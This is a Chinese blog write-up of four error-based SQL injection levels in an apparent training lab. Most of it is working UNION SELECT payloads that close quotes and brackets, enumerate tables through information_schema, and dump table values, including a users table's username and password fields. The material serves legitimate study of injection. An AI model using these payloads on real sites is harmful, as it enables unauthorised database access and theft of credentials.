显错注入四关

四关地址:

http://59.63.200.79:8812/New/ErrorBased/RankOne/sql-one/

http://59.63.200.79:8812/New/ErrorBased/RankTwo/sql-two/

http://59.63.200.79:8812/New/ErrorBased/RankThree/sql-three/

http://59.63.200.79:8812/New/ErrorBased/RankFour/sql-four/

显错注入第一关:
1、首先判断是否有注入输入?id=1 和?id=1’ 页面改变 说明存在注入
2、输入?id=1 order by 1 2 3 4判断字段数为3 根据结果显示 id需要’闭合
[图片]

3、联合注入判断回显点:

  1. ?id=9.999' union select 1,2,3 --+ #注释掉后面的limit


判断出回显点为2和3字段
4、使用系统自带库查询所有表名和字段名:

  1. 数据库中的一个所有库的表:表名information_schema.tables 库名字段 table_schema 指定库名database()查表名
  2. 数据库中的一个所有表的表:表名information_schema.columns 表名字段table_name 列名字段:column_name 指定表名查字段名
  1. ?id=9.999' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database()--+


现在知道表名可以查字段名了:

  1. ?id=9.999' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='zkaq'--+


现在知道表名字段名可以查里面的值了:

  1. ?id=9.999' union select 1,group_concat(zKaQ),3 from zkaq --+
  2. ?id=1' union select 1,2,group_concat(zKaQ) from zkaq limit 1,1--+


就可以把所有表值全部查出:
表名:emails,referers,uagents,users,zkaq
zkaq表字段名:flag,zKaQ
emails表字段名:id,email_id
referers表字段名:id,referer,ip_address
uagents表字段名:id,uagent,ip_address,username
users表字段名:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username(zkz,zkaq),password(zkz,zkaq)

显错注入第二关
第二关除了?id后面不用和第一关一样加’闭合外 其他基本一样

显错注入第三关
第三关先输入?id=1出现以下图示:

由此可见,这一关我们需要闭合前面的括号,注释掉后面的括号:?id=1‘) and 1=1%20 —+
后面的操作和前两关类似

  1. ?id=9.999 ') union select 1,2,group_concat(zKaQ) from zkaq --+ #需要闭合前面的括号,注释掉后面的括号

显错注入第四关
第四关与第三关类似 只是由单引号变为双引号 和上一关相似的闭合方法:

  1. ?id=1 ") and 1=1 --+

步骤与以上方法一致:

  1. ?id=9.999 ")%20 union select 1,2,group_concat(zKaQ) from zkaq --+

 
作者:求知鱼

-------------------------------------------

个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。

如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!

独学而无友,则孤陋而寡闻,开源、分享、白嫖!

原文地址:https://www.cnblogs.com/Qiuzhiyu/p/11666703.html